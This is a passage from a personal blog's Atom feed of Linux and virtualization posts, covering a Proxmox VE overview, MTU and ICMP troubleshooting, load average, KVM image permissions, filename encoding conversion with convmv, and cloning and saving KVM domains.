href='http://redes-privadas-virtuales.blogspot.com/2011/01/making-virtual-machines-with-proxmox-ve.html' title='Making virtual machines with Proxmox VE'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_EvoxXLEnC6E/TSJXTqTYwHI/AAAAAAAAAig/hwn3OMZRDz8/s72-c/Making%2Bvirtual%2Bmachines%2Bwith%2BProxmox%2BVE%2B%2528I%2529.jpeg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-3629091703357591114</id><published>2010-12-28T15:52:00.013+01:00</published><updated>2011-11-01T22:02:54.583+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Proxmox Virtualization Environment</title><content type='html'>&lt;a href="http://pve.proxmox.com/"&gt;Proxmox VE&lt;/a&gt; is an open source virtualization platform based on Linux and used to run virtual appliances and virtual machines. It is a product aimed at companies and production environments, since it intends to be an easy deployment and management solution.&lt;br /&gt;&lt;br /&gt;Proxmox VE supports three types of virtualization technologies:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Container virtualization&lt;/b&gt; (OpenVZ): it allows that a physical server can run multiple insolated operating system instances as well known as &lt;a href="http://wiki.openvz.org/Download/template/precreated"&gt;containers&lt;/a&gt;. Its main problem is these containers or guests can just be Linux instances. However, the OpenVZ kernel provides better performance (penalty between 1% and 3% compared to a standalone server) in contradistinction to other alternatives.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Full virtualization&lt;/b&gt; (&lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html"&gt;KVM&lt;/a&gt;): it can run Linux and Windows guests but unlike OpenVZ, Intel VT or AMD-V CPU is needed.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Paravirtualization&lt;/b&gt; (KVM): it presents a software interface similar to the underlying hardware in order to try to reduce the execution time of certain operations.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In my personal opinion, I think that OpenVZ is a plus because it has got better performance than KVM and the containers idea is fantastic: the size of these templates is really small and you can get a ready virtual machine in few minutes.&lt;br /&gt;&lt;br /&gt;You can install Proxmox VE from an &lt;a href="http://pve.proxmox.com/wiki/Downloads"&gt;ISO image&lt;/a&gt; or directly on an existing Debian distribution (32 or 64 bits). I have tested Proxmox VE 1.7 (bare-metal ISO installer based on Debian Lenny) on a KVM virtual machine under my Kubuntu 10.10.&lt;br /&gt;&lt;br /&gt;The process is very simple. The Proxmox installer is based on a graphical wizard with several stages: location and time zone selection, password and email address definition, and network configuration.&lt;br /&gt;&lt;br /&gt;What are the main features of this product?&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Web based administration: easy deployment and management (web based management and virtual console, backup and restore with LVM2 snapshots, etc.).&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Virtual appliances: they are fully pre-installed and pre-configured applications including the operating system environment. You can create your own container, get from the community, use Linux OS instances or buy certified appliances.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Proxmox VE cluster: it allows to gather multiple physical server in one VE cluster (central web management and login, cluster synchronization, easy cluster setup, live migration of virtual machines between physical servers, etc.).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;When you finish the installation process, you must reboot the machine and update the system.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;proxmox:~# aptitude update ; aptitude dist-upgrade&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In order to manage Proxmox VE, you must open a web browser and type the IP address configured during the wizard (the default user is 'root').&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_EvoxXLEnC6E/TRn9hwocPCI/AAAAAAAAAiY/2y_mPWZSFxU/s1600/Proxmox%2BVirtualization%2BEnvironment%2B%2528I%2529.jpeg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5555750371770252322" src="http://3.bp.blogspot.com/_EvoxXLEnC6E/TRn9hwocPCI/AAAAAAAAAiY/2y_mPWZSFxU/s400/Proxmox%2BVirtualization%2BEnvironment%2B%2528I%2529.jpeg" style="cursor: pointer; display: block; height: 283px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Proxmox web interface is very useful. It is formed by three principal sections, VM Manager, Configuration and Administration.&lt;br /&gt;&lt;br /&gt;In the VM Manager area, you can upload ISO images and OpenVZ templates, download certified appliances and create and handle virtual machines.&lt;br /&gt;&lt;br /&gt;In the Configuration area, you can set up the different parameters of the system (network, DNS, time, administrator options, language, proxy, etc.), add and manage data storages (ISCSI targets, NFS shares, LVM groups and directories) and create new backup jobs.&lt;br /&gt;&lt;br /&gt;And finally, in the Administration area you can control the Proxmox VE certificates and services (ClusterSync, ClusterTunnel, NTP, SMTP, SSH and WWW), take a look at the logs and monitor the cluster nodes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-3629091703357591114?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/3629091703357591114/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/12/proxmox-virtualization-environment.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3629091703357591114'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3629091703357591114'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/12/proxmox-virtualization-environment.html' title='Proxmox Virtualization Environment'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_EvoxXLEnC6E/TRn9hwocPCI/AAAAAAAAAiY/2y_mPWZSFxU/s72-c/Proxmox%2BVirtualization%2BEnvironment%2B%2528I%2529.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-7898111152899021863</id><published>2010-12-22T11:53:00.013+01:00</published><updated>2011-11-01T22:03:38.673+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Troubleshooting'/><category scheme='http://www.blogger.com/atom/ns#' term='Networking'/><title type='text'>Frag needed and DF set</title><content type='html'>I was remembering a curious problem that we had at work the last year.&lt;br /&gt;&lt;br /&gt;There was an HTTPS service that when you tried to access it by means of a web browser, the screen did not show anything. The display was blank waiting...&lt;br /&gt;&lt;br /&gt;The main inconvenience was that we had not access to the web server to check it out. At that moment, I ran a tcpdump on the client in order to capture all network traffic and try to find out what was happening.&lt;br /&gt;&lt;br /&gt;When I analyzed the packets I could see that the TCP connection was established correctly but then, the web server was sending frames with "TCP Previous segment lost", "TCP Dup ACK", "TCP Retransmission" messages. It is a pity because I do not keep these network captures to output them here...&lt;br /&gt;&lt;br /&gt;Well, then it was clear that there was some device in the middle of the route between client and server, which was causing a leak of network packets in that communication.&lt;br /&gt;&lt;br /&gt;Our network architecture was similar to the schema of the following image.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_EvoxXLEnC6E/TRHq5AHpWmI/AAAAAAAAAiM/xCxeUELVSEM/s1600/Frag%2Bneeded%2Band%2BDF%2Bset.JPG"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5553478080530045538" src="http://1.bp.blogspot.com/_EvoxXLEnC6E/TRHq5AHpWmI/AAAAAAAAAiM/xCxeUELVSEM/s400/Frag%2Bneeded%2Band%2BDF%2Bset.JPG" style="cursor: pointer; display: block; height: 168px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Taking a look at the firewall logs, we could see that there were ICMP packets related to the problematic HTTPS connection which were being dropped.&lt;br /&gt;&lt;br /&gt;The router was sending ICMP packets (type 3, destination unreachable - code 4, fragmentation needed) to the source, in order to warn it that its MTU was smaller than the size of the packets, and on top of all that, the DF (prohibit fragmentation) was set to 1.&lt;br /&gt;&lt;br /&gt;When that ICMP packet reached to the firewall, it was dropped and the source never knew that it had to reduce the data field for the TCP/IP packets. The solution was to allow the ICMP traffic (ICMP protocol with type 3 and code 4).&lt;br /&gt;&lt;br /&gt;We can realize a little test in our computer. For example, attempting to send a packet whose size exceeds our network MTU (1500) and besides, DF=1 (192.168.1.100 is my PC and 192.168.1.1 the destination).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ ping -c 1 -s 2000 -M do 192.168.1.1 PING 192.168.1.1 (192.168.1.1) 2000(2028) bytes of data.&lt;br /&gt;From 192.168.1.100 icmp_seq=1 Frag needed and DF set (mtu = 1500)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If I run a tcpdump, I can see that I receive an ICMP datagram noting me that I have to lower the size of the packets.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@kubuntu:~$ sudo tcpdump -ni lo icmp -s0&lt;br /&gt;tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes&lt;br /&gt;18:59:33.014773 IP 192.168.1.100 &amp;gt; 192.168.1.100: ICMP 192.168.1.1 unreachable&lt;br /&gt;- need to frag (mtu 1500), length 556&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-7898111152899021863?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/7898111152899021863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/12/frag-needed-and-df-set.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7898111152899021863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7898111152899021863'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/12/frag-needed-and-df-set.html' title='Frag needed and DF set'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_EvoxXLEnC6E/TRHq5AHpWmI/AAAAAAAAAiM/xCxeUELVSEM/s72-c/Frag%2Bneeded%2Band%2BDF%2Bset.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-2309354923004347885</id><published>2010-12-13T13:30:00.005+01:00</published><updated>2011-11-01T22:03:54.703+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>Linux load average</title><content type='html'>I wanted to write an article about a topic that over time, it is still generating much confusion: the &lt;span style="font-weight: bold;"&gt;load average&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The system load average is a set of three numerical values which are provided by tools such as uptime or &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/09/system-monitoring-with-top.html"&gt;top&lt;/a&gt;. These values represent the average number of system processes that during the last 1, 5 and 15 minutes have been waiting for any resource of the system (CPU, disk access, network, etc.)&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# uptime&lt;br /&gt;15:43:45 up 9 days,  5:19,  1 user,  load average: 1.62, 1.49, 1.39&lt;br /&gt;&lt;br /&gt;[root@centos ~]# top&lt;br /&gt;top - 15:44:32 up 9 days,  5:20,  1 user,  load average: 1.38, 1.43, 1.37&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In the previous output of the uptime command, 1.49 means that during the last 5 minutes, an average of 1.49 processes have been blocked waiting for some resource allocation.&lt;br /&gt;&lt;br /&gt;For instance, I usually set a trigger in &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/02/instalacion-del-servidor-zabbix-partir.html"&gt;Zabbix&lt;/a&gt; for when the average load during the last 5 minutes has been higher than the number of cores available on the monitored machine.&lt;br /&gt;&lt;br /&gt;When an alarm of this type is raised, does not necessarily have to mean that the CPU is overloaded. At that moment we have to use other Linux tools, such as top, vmstat, iostat, vnstat, etc, in order to find out what process or processes are involved and what resources are affected.&lt;br /&gt;&lt;br /&gt;Finally, to emphasize the word of the title (&lt;span style="font-style: italic;"&gt;Linux..&lt;/span&gt;.), since these values for UNIX systems represent the number of processes which have utilized (&lt;span style="font-style: italic;"&gt;running&lt;/span&gt;) the CPU or have been expecting for it (&lt;span style="font-style: italic;"&gt;runnable&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-2309354923004347885?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/2309354923004347885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/12/linux-load-average.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2309354923004347885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2309354923004347885'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/12/linux-load-average.html' title='Linux load average'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-3535368337364525457</id><published>2010-12-07T11:51:00.015+01:00</published><updated>2011-11-01T22:04:25.510+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>KVM virtualization on Ubuntu (IV)</title><content type='html'>This is the last article about KVM virtualization on Ubuntu (&lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html"&gt;I&lt;/a&gt;, &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-ii.html"&gt;II&lt;/a&gt;, &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-iii.html"&gt;III&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;In the first post, I choose as hypervisor &lt;i&gt;localhost (QEMU)&lt;/i&gt;. If you pick out the other hypervisor available (&lt;i&gt;localhost (QEMU Usermode)&lt;/i&gt;) and try to set up a virtual machine, in the last step you will get an error with the following text: "&lt;i&gt;Imposible completar la instalación: «internal error Process exited while reading console log output: char device redirected to /dev/pts/1 qemu: could not open disk image /var/lib/libvirt/images/Ubuntu.img: No such file or directory&lt;/i&gt;".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_EvoxXLEnC6E/TP5bD8DqaXI/AAAAAAAAAiE/n7U1sSkpyio/s1600/internal%2Berror%2BProcess%2Bexited%2Bwhile%2Breading%2Bconsole%2Blog%2Boutput.jpeg"&gt;&lt;img alt="" border="0" height="316" id="BLOGGER_PHOTO_ID_5547971914186254706" src="http://2.bp.blogspot.com/_EvoxXLEnC6E/TP5bD8DqaXI/AAAAAAAAAiE/n7U1sSkpyio/s400/internal%2Berror%2BProcess%2Bexited%2Bwhile%2Breading%2Bconsole%2Blog%2Boutput.jpeg" style="display: block; height: 316px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The problem is when you select this hypervisor, the virtual machine is created with your user account, and if you take a look at the permissions on the &lt;i&gt;/var/lib/lubvirt/images&lt;/i&gt; directory, you will see that only the root user can write in it.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ ls -l /var/lib/libvirt/&lt;br /&gt;total 12&lt;br /&gt;drwxr-xr-x 2 root         root 4096 2010-09-25 00:52 boot&lt;br /&gt;drwxr-xr-x 2 root         root 4096 2010-09-25 00:52 images&lt;br /&gt;drwxr-xr-x 4 libvirt-qemu kvm  4096 2010-12-07 12:28 qemu&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The solution consists in changing the directory from root to libvirtd group and adding write permissions.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ sudo chown :libvirtd /var/lib/libvirt/images&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ sudo chmod g+w /var/lib/libvirt/images&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Remember that with this sort of connection (&lt;i&gt;localhost (QEMU Usermode)&lt;/i&gt;), the storage will be into the /var/lib/libvirt/images directory, but the configuration and log files will reside in the user home.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ tree .libvirt/&lt;br /&gt;.libvirt/&lt;br /&gt;├── qemu&lt;br /&gt;│   ├── cache&lt;br /&gt;│   ├── lib&lt;br /&gt;│   ├── log&lt;br /&gt;│   │   └── Ubuntu.log&lt;br /&gt;│   ├── run&lt;br /&gt;│   ├── save&lt;br /&gt;│   ├── snapshot&lt;br /&gt;│   └── Ubuntu.xml&lt;br /&gt;└── storage&lt;br /&gt;├── autostart&lt;br /&gt;│   └── default.xml -&amp;gt; /home/javi/.libvirt/storage/default.xml&lt;br /&gt;└── default.xml&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;During four articles, we have learnt how to make virtual machines with KVM, libvirt and Virtual Machine Manager. I still have to present several articles related to snapshots, access to hypervisors running on remote machines, types of virtual networks, etc.&lt;br /&gt;&lt;br /&gt;KVM is a great option to handle virtual machines. It would be a good idea to carry out some tests in order to meter the performance of different types of hypervisors, such as Xen or VMware.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-3535368337364525457?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/3535368337364525457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/12/kvm-virtualization-on-ubuntu-iv.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3535368337364525457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3535368337364525457'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/12/kvm-virtualization-on-ubuntu-iv.html' title='KVM virtualization on Ubuntu (IV)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_EvoxXLEnC6E/TP5bD8DqaXI/AAAAAAAAAiE/n7U1sSkpyio/s72-c/internal%2Berror%2BProcess%2Bexited%2Bwhile%2Breading%2Bconsole%2Blog%2Boutput.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-5109764214235638373</id><published>2010-11-29T10:52:00.002+01:00</published><updated>2011-11-01T22:06:06.449+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>Invalid or incomplete multibyte or wide character</title><content type='html'>The other day I downloaded a video with JDownloader and when I tried to move it into my usb memory, the system did not recognize the file and it could not move it.&lt;br /&gt;&lt;br /&gt;The error message which Linux returned was "&lt;i&gt;Caracter multibyte amplio inválido ó incompleto&lt;/i&gt;" (I have configured my system in Spanish), "&lt;i&gt;Invalid or incomplete multibyte or wide character&lt;/i&gt;" in English.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ mv .jdownloader/downloads/TICs_espa�olas.avi /media/disk-2/&lt;br /&gt;mv: no se puede efectuar «stat» sobre «/media/disk-2/TICs_espa\244olas.avi»: Caracter multibyte amplio inválido ó incompleto&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This is a serious problem, because in addition to not be able to copy or move the file, you can neither remove it.&lt;br /&gt;&lt;br /&gt;The issue is that file is encoded with ISO-8859-15, and my system is configured as UTF-8. The solution consists in converting the file name encoding to UTF-8. In order to carry out this operation, we can use the convmv utility.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ sudo aptitude install convmv&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~/.jdownloader/downloads$ convmv -f iso-8859-15 -t utf-8 TICs_espa�olas.avi&lt;br /&gt;Your Perl version has fleas #37757 #49830                                                                                                                                                                                                                                &lt;br /&gt;Starting a dry run without changes...                                                                                                                                                                                                                                    &lt;br /&gt;mv "./TICs_espa�olas.avi"    "./TICs_espa€olas.avi"                                                                &lt;br /&gt;No changes to your files done. Use --notest to finally rename the files.&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The previous output shows us the final file name after the conversion. So as to apply the changes permanently, you have to add the &lt;i&gt;--notest&lt;/i&gt; argument.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~/.jdownloader/downloads$ convmv --notest -f iso-8859-15 -t utf-8 TICs_espa�olas.avi&lt;br /&gt;Your Perl version has fleas #37757 #49830                                                                                                                                                                                                                                  &lt;br /&gt;mv "./TICs_�olas.avi"    "./TICs_€olas.avi"                                                                &lt;br /&gt;Ready!&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-5109764214235638373?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/5109764214235638373/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/11/invalid-or-incomplete-multibyte-or-wide.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5109764214235638373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5109764214235638373'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2010/11/invalid-or-incomplete-multibyte-or-wide.html' title='Invalid or incomplete multibyte or wide character'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-1466019052802527477</id><published>2010-11-22T11:56:00.004+01:00</published><updated>2011-11-01T22:06:46.971+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>KVM virtualization on Ubuntu (III)</title><content type='html'>Let's continue exploring more stuff about KVM virtualization on Ubuntu (remember that there have been posted two previous articles, &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html"&gt;I&lt;/a&gt; and &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-ii.html"&gt;II&lt;/a&gt;). We will start with an interesting characteristic: cloning existing virtual machine images with identical virtual hardware configurations.&lt;br /&gt;&lt;br /&gt;This is a typical operation because it is normal that we have to install several times the same operating system for different functions. For example, we can need three servers running under a Linux distribution: mail, web and data storage. For this purpose, first we would make a virtual machine with that Linux OS, then we would clone that virtual machine twice and finally, we would install the rest of services on the base systems.&lt;br /&gt;&lt;br /&gt;The following order generates a new virtual machine named cloned_BT, from BackTrack4 domain. It is necessary to specify the hypervisor by means of the &lt;i&gt;--connect&lt;/i&gt; parameter and to have turned the virtual machine off.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virt-clone --connect qemu:///system --original BackTrack4 --auto-clone --name cloned_BT&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We can also perform this task through the Virtual Machine Manager.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_EvoxXLEnC6E/TOpRuU38DwI/AAAAAAAAAhs/l9BDChEnX40/s1600/KVM%2Bvirtualization%2Bon%2BUbuntu%2B%2528I%2529.jpeg"&gt;&lt;img alt="" border="0" height="332" id="BLOGGER_PHOTO_ID_5542332147751980802" src="http://2.bp.blogspot.com/_EvoxXLEnC6E/TOpRuU38DwI/AAAAAAAAAhs/l9BDChEnX40/s400/KVM%2Bvirtualization%2Bon%2BUbuntu%2B%2528I%2529.jpeg" style="display: block; height: 332px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Other interesting feature is related to the possibility of saving a running domain into a state file, with the aim of being able to be restored later. When we execute this operation, the domain will be automatically switched off.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh save BackTrack4 BT4.save&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virsh restore BT4.save&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We can use for example this characteristic to back up our virtual machine before a critical task, such as a system update. Therefore if we want to restore a domain from a state file, we will add the restore option (the virtual machine must be turned off).&lt;br /&gt;&lt;br /&gt;And finally, I will present another useful tool in order to show the state of the virtualized domains. This utility is similar to &lt;a 